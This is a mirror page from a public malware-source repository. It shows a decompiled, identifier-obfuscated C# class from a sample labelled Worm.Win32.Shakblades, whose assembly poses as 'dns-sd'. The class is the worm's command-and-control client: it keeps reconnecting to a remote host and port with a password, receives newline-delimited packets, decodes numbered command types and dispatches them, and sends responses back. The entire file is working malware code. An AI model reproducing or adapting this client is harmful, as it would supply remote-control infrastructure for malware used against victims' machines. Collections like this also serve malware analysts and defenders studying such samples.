mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
259 lines
8.0 KiB
C#
259 lines
8.0 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: Ҧ߲๒ʽ໙ୄᴘ.߶ᒸৃ
|
||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||
|
||
using System;
|
||
using System.Collections.Generic;
|
||
using System.IO;
|
||
using System.Net.Sockets;
|
||
using System.Text;
|
||
using System.Threading;
|
||
|
||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||
{
|
||
internal class \u07F6\u181Fᒸৃ
|
||
{
|
||
private Socket \u1AF2ۈ\u18ADф٣ɶ̽;
|
||
private bool ང\u10CEಖᠪ;
|
||
private Thread \u1775\u197Eᦡગุ\u1879\u0FF1ᡷ;
|
||
private Thread \u0C80\u137Cấޖᓨ;
|
||
private string \u1C3CНဥƇᔋม;
|
||
private int \u1064\u1AFFሒ;
|
||
private string ݺۧᛊக;
|
||
|
||
public \u07F6\u181Fᒸৃ(string Host, int Port, string Password)
|
||
{
|
||
this.\u1C3CНဥƇᔋม = Host;
|
||
this.\u1064\u1AFFሒ = Port;
|
||
this.ݺۧᛊக = Password;
|
||
this.ང\u10CEಖᠪ = false;
|
||
}
|
||
|
||
public Socket \u17DFᓫ໋ྡଷ\u0886ᄢᏆᒪ => this.\u1AF2ۈ\u18ADф٣ɶ̽;
|
||
|
||
public bool \u0557 => this.ང\u10CEಖᠪ;
|
||
|
||
public string ᜭ => this.\u1C3CНဥƇᔋม;
|
||
|
||
public int ᙖᇊৰਥ\u02D7\u1ADA => this.\u1064\u1AFFሒ;
|
||
|
||
public string Ѣᖆܵ\u19F8ᗄ => this.ݺۧᛊக;
|
||
|
||
public void ᴓ᳢ᔈȷᡭౖক\u1C8F८() => this.\u1757ਉᡋᤉ();
|
||
|
||
private void \u1757ਉᡋᤉ()
|
||
{
|
||
if (this.ང\u10CEಖᠪ)
|
||
return;
|
||
this.\u0C80\u137Cấޖᓨ = new Thread((ThreadStart) (() =>
|
||
{
|
||
this.\u1AF2ۈ\u18ADф٣ɶ̽ = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||
while (!this.\u1AF2ۈ\u18ADф٣ɶ̽.Connected)
|
||
{
|
||
try
|
||
{
|
||
this.\u1AF2ۈ\u18ADф٣ɶ̽.Connect(this.\u1C3CНဥƇᔋม, this.\u1064\u1AFFሒ);
|
||
}
|
||
catch
|
||
{
|
||
Thread.Sleep(TimeSpan.FromSeconds((double) ȩזြڹᡡỾỔው.\u09F6ϸ));
|
||
}
|
||
}
|
||
this.ٻܸ();
|
||
}));
|
||
this.\u0C80\u137Cấޖᓨ.Start();
|
||
}
|
||
|
||
private void ٻܸ()
|
||
{
|
||
if (this.ང\u10CEಖᠪ)
|
||
return;
|
||
this.ང\u10CEಖᠪ = true;
|
||
if (this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8 == null)
|
||
return;
|
||
this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8((object) this, (EventArgs) null);
|
||
}
|
||
|
||
public void ຄ\u0011ڂʩ\u1AA1\u1C94ᚨ૨()
|
||
{
|
||
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = new Thread(new ThreadStart(this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716));
|
||
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Start();
|
||
}
|
||
|
||
private void ড়ḥ\u08D9ጭṺদ\u1CFD\u1716()
|
||
{
|
||
try
|
||
{
|
||
MemoryStream ms = new MemoryStream();
|
||
byte[] array;
|
||
do
|
||
{
|
||
array = new byte[this.\u1AF2ۈ\u18ADф٣ɶ̽.ReceiveBufferSize];
|
||
int num = this.\u1AF2ۈ\u18ADф٣ɶ̽.Receive(array, 0, array.Length, SocketFlags.Partial);
|
||
if (num <= 0)
|
||
throw new SocketException();
|
||
Array.Resize<byte>(ref array, num);
|
||
ms.Write(array, 0, num);
|
||
}
|
||
while (!(char.ConvertFromUtf32((int) array[array.Length - 1]) == "\n"));
|
||
ms.Close();
|
||
new Thread((ThreadStart) (() =>
|
||
{
|
||
this.\u0B53ऐࡘ(ms.ToArray());
|
||
ms.Dispose();
|
||
ms = (MemoryStream) null;
|
||
})).Start();
|
||
}
|
||
catch (SocketException ex)
|
||
{
|
||
this.ຳѤᙍַኅߣϐᅍ(true);
|
||
return;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
this.ຳѤᙍַኅߣϐᅍ(true);
|
||
Console.WriteLine(ex.Message);
|
||
}
|
||
this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716();
|
||
}
|
||
|
||
private void \u0B53ऐࡘ(byte[] _param1)
|
||
{
|
||
List<byte> byteList = new List<byte>();
|
||
for (int index = 0; index < _param1.Length; ++index)
|
||
{
|
||
if (char.ConvertFromUtf32((int) _param1[index]) != "\n")
|
||
{
|
||
byteList.Add(_param1[index]);
|
||
}
|
||
else
|
||
{
|
||
this.Ờ(byteList.ToArray());
|
||
byteList.Clear();
|
||
}
|
||
}
|
||
}
|
||
|
||
private void Ờ(byte[] Ʒ᮲ᑔ༨)
|
||
{
|
||
try
|
||
{
|
||
MemoryStream memoryStream = new MemoryStream(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Ʒ᮲ᑔ༨, true));
|
||
byte[] buffer = new byte[4];
|
||
memoryStream.Read(buffer, 0, buffer.Length);
|
||
\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ int32 = (\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ) BitConverter.ToInt32(buffer, 0);
|
||
byte[] numArray = new byte[memoryStream.Length - 4L];
|
||
memoryStream.Read(numArray, 0, numArray.Length);
|
||
memoryStream.Close();
|
||
memoryStream.Dispose();
|
||
if (int32 != \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA)
|
||
{
|
||
if (this.ङᷢៅ\u02D2ჿ != null)
|
||
this.ङᷢៅ\u02D2ჿ((object) this, new ᛕᔱ\u05CDᨈكအ\u0FFEན(numArray, numArray.Length, int32));
|
||
}
|
||
else
|
||
this.\u087Cἲ\u1370ኺࣱሤ();
|
||
Ʒ᮲ᑔ༨ = (byte[]) null;
|
||
}
|
||
catch
|
||
{
|
||
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
|
||
obj.Write("Broken Packet");
|
||
this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ());
|
||
}
|
||
}
|
||
|
||
public int ೠ(byte[] _param1)
|
||
{
|
||
try
|
||
{
|
||
int sent = this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(_param1, 0, _param1.Length, SocketFlags.Partial) + this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(this.അΡጢૡ, 0, 1, SocketFlags.Partial);
|
||
if (this.ଦ\u00A8\u0B0E̟\u0B54 != null && sent != 0)
|
||
this.ଦ\u00A8\u0B0E̟\u0B54((object) this, new \u00B1ჵઆЩᎮɀኤʨՃ(sent));
|
||
return sent;
|
||
}
|
||
catch
|
||
{
|
||
return 0;
|
||
}
|
||
}
|
||
|
||
private byte[] അΡጢૡ => Encoding.ASCII.GetBytes("\n");
|
||
|
||
private void \u087Cἲ\u1370ኺࣱሤ() => this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA, new byte[0]).ᖣᅸڨฃ());
|
||
|
||
public void ӊᖍւጨΟ\u0095ᠫஷ٤(string _param1)
|
||
{
|
||
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
|
||
obj.Write(_param1);
|
||
this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ());
|
||
}
|
||
|
||
public bool ຳѤᙍַኅߣϐᅍ(bool _param1)
|
||
{
|
||
if (!this.ང\u10CEಖᠪ)
|
||
return false;
|
||
this.\u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర();
|
||
this.ང\u10CEಖᠪ = false;
|
||
if (_param1 && this.ᴾੜᦇ\u0530ӟḍ್් != null)
|
||
this.ᴾੜᦇ\u0530ӟḍ್්((object) this, (EventArgs) null);
|
||
return true;
|
||
}
|
||
|
||
public void \u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర()
|
||
{
|
||
try
|
||
{
|
||
this.\u1AF2ۈ\u18ADф٣ɶ̽.Close();
|
||
this.\u1AF2ۈ\u18ADф٣ɶ̽ = (Socket) null;
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
try
|
||
{
|
||
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Abort();
|
||
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = (Thread) null;
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
public event EventHandler ƬԀඈ;
|
||
|
||
public event EventHandler ȉ᧗ቦᡭଔƯ᪽\u06DE;
|
||
|
||
public event EventHandler<\u00B1ჵઆЩᎮɀኤʨՃ> ဢᰣᘜᗎളಘ\u19EDᡝ;
|
||
|
||
public event EventHandler<ᛕᔱ\u05CDᨈكအ\u0FFEན> nᶏ\u0BFD;
|
||
|
||
public enum ƪᆌቬኆ২ᇖࣩᄦ
|
||
{
|
||
ፒሼࠓઑᕹᙒ\u0FECᡱ = 0,
|
||
\u0F38ླ = 1,
|
||
ᠭÙ = 2,
|
||
ᜇࣧᴵࣴᏐᛇਝ = 3,
|
||
\u0A5D\u0862Fπ = 4,
|
||
ᘷᡣ = 5,
|
||
ᄹٷᵹ = 6,
|
||
ੲ = 7,
|
||
ᮜᇖĺ̠Êᰆᡌᩉ\u0B49 = 8,
|
||
ຜભᆰᮄعẏڡᯋ = 9,
|
||
ԫЯࡃ = 15, // 0x0000000F
|
||
ᩅ4ഗ = 16, // 0x00000010
|
||
బጲ\u0D99ᘔߥᗓᆵ = 17, // 0x00000011
|
||
ב = 18, // 0x00000012
|
||
ឰಊୟ\u07BA = 19, // 0x00000013
|
||
ᗽ\u0D56ᐁན᱘ = 20, // 0x00000014
|
||
ᑣ᧑ = 21, // 0x00000015
|
||
ᰟƓ = 22, // 0x00000016
|
||
\u1F16Ʈᝐ\u0F6Dṡ\u0E85 = 23, // 0x00000017
|
||
ᑎ\u0F2EተױၦѶᣔᘬ = 24, // 0x00000018
|
||
\u1C92\u193F\u0EFA = 25, // 0x00000019
|
||
}
|
||
}
|
||
}
|